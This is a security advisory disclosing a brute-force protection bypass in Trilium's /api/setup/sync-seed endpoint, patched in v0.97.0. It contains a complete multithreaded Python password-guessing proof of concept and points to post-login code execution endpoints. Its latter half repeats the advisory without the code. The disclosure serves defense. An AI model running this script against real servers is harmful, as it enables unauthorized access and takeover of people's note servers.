Summary
A brute-force protection bypass in the initial sync seed retrieval endpoint allows unauthenticated attackers to guess the login password without triggering rate limiting.
In the case of Trilium, which is a single-user app without a username requirement, a brute-force protection bypass makes exploitation much more feasible. There also isn't a strong password policy in-place, a password can be as simple as "test". Multiple features provided by Trilium (e.g. MFA, share notes, custom request handler) also indicate that Trilium can be exposed to the internet.
Details
The application includes rate limiting and lockout mechanisms on the main login endpoint to prevent brute-force attacks.


However, the protection can be bypassed by targeting the /api/setup/sync-seed
endpoint, which is used during initial sync setup to retrieve the documentSecret
for future sync operations.
The affected route and auth middleware:
route(GET, "/api/setup/sync-seed", [auth.checkCredentials], setupApiRoute.getSyncSeed, apiResultHandler);
// auth.checkCredentials middleware
function checkCredentials(req: Request, res: Response, next: NextFunction) {
if (!sqlInit.isDbInitialized()) {
res.setHeader("Content-Type", "text/plain").status(400).send("Database is not initialized yet.");
return;
}
if (!passwordService.isPasswordSet()) {
res.setHeader("Content-Type", "text/plain").status(400).send("Password has not been set yet. Please set a password and repeat the action");
return;
}
const header = req.headers["trilium-cred"] || "";
if (typeof header !== "string") {
res.setHeader("Content-Type", "text/plain").status(400).send("Invalid data type for trilium-cred.");
return;
}
const auth = Buffer.from(header, "base64").toString();
const colonIndex = auth.indexOf(":");
const password = colonIndex === -1 ? "" : auth.substr(colonIndex + 1);
// username is ignored
if (!passwordEncryptionService.verifyPassword(password)) {
res.setHeader("Content-Type", "text/plain").status(401).send("Incorrect password");
} else {
next();
}
}
PoC
The payload only needs to include the base64-encoded :<password>
since username is ignored.
import requests
import time
import argparse
import concurrent.futures
import base64
def brute(target, wordlist, threads):
def send_request(word):
url = f"{target}/api/setup/sync-seed"
encoded_password = base64.b64encode(f":{word}".encode())
header = {"trilium-cred": encoded_password}
r = requests.get(url, headers=header)
if r.status_code == 200:
print(f"[SUCCESS] {word} (200 {r.reason})")
else:
print(f"[FAIL] {word} ({r.status_code} {r.reason})")
return r.status_code == 200, word
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
futures = {executor.submit(send_request, word): word for word in wordlist}
for future in concurrent.futures.as_completed(futures):
success, password = future.result()
if success:
# Cancel remaining tasks and return successful password.
for future in futures:
future.cancel()
return password
def main():
parser = argparse.ArgumentParser(description='Trilium server password brute force script')
parser.add_argument('-t', '--target', help='Target IP address')
parser.add_argument('-w', '--wordlist', help='Path to wordlist file')
parser.add_argument('-th', '--threads', type=int, default=50, help='Number of threads (default: 50)')
args = parser.parse_args()
target = args.target
wordlist = args.wordlist
threads = args.threads
# Read password wordlist
try:
# Try UTF-8 first, then fall back to other encodings
try:
with open(wordlist, 'r', encoding='utf-8') as f:
words = [line.strip() for line in f if line.strip()]
except UnicodeDecodeError:
# Try Latin-1 encoding which can handle any byte sequence
with open(wordlist, 'r', encoding='latin-1') as f:
words = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print(f"Error: {wordlist} not found")
return
except Exception as e:
print(f"Error reading wordlist: {e}")
return
start_time = time.time()
output = brute(target, words, threads)
end_time = time.time()
if output:
elapsed_time = end_time - start_time
print(f"[+] Password found: {output}")
print(f"[+] Time taken: {elapsed_time:.2f} seconds")
else:
print("[-] Password not found")
if __name__ == "__main__":
main()

Impact
Trilium is designed to be a single-user app, so it comes with powerful features available post-auth. Therefore, any pre-auth vulnerability can lead to severe impacts such as server-side code execution via /api/script/exec
or /api/script/run/nodeid
.


Remediation
#6243 was opened and merged to resolve this issue. Versions >= v0.97.0 are patched from this vulnerability. Please reach out on our Matrix channel if you have any questions.
Summary
A brute-force protection bypass in the initial sync seed retrieval endpoint allows unauthenticated attackers to guess the login password without triggering rate limiting.
In the case of Trilium, which is a single-user app without a username requirement, a brute-force protection bypass makes exploitation much more feasible. There also isn't a strong password policy in-place, a password can be as simple as "test". Multiple features provided by Trilium (e.g. MFA, share notes, custom request handler) also indicate that Trilium can be exposed to the internet.
Details
The application includes rate limiting and lockout mechanisms on the main login endpoint to prevent brute-force attacks.


However, the protection can be bypassed by targeting the
/api/setup/sync-seed
endpoint, which is used during initial sync setup to retrieve thedocumentSecret
for future sync operations.The affected route and auth middleware:
PoC
The payload only needs to include the base64-encoded
:<password>
since username is ignored.Impact
Trilium is designed to be a single-user app, so it comes with powerful features available post-auth. Therefore, any pre-auth vulnerability can lead to severe impacts such as server-side code execution via


/api/script/exec
or/api/script/run/nodeid
.Remediation
#6243 was opened and merged to resolve this issue. Versions >= v0.97.0 are patched from this vulnerability. Please reach out on our Matrix channel if you have any questions.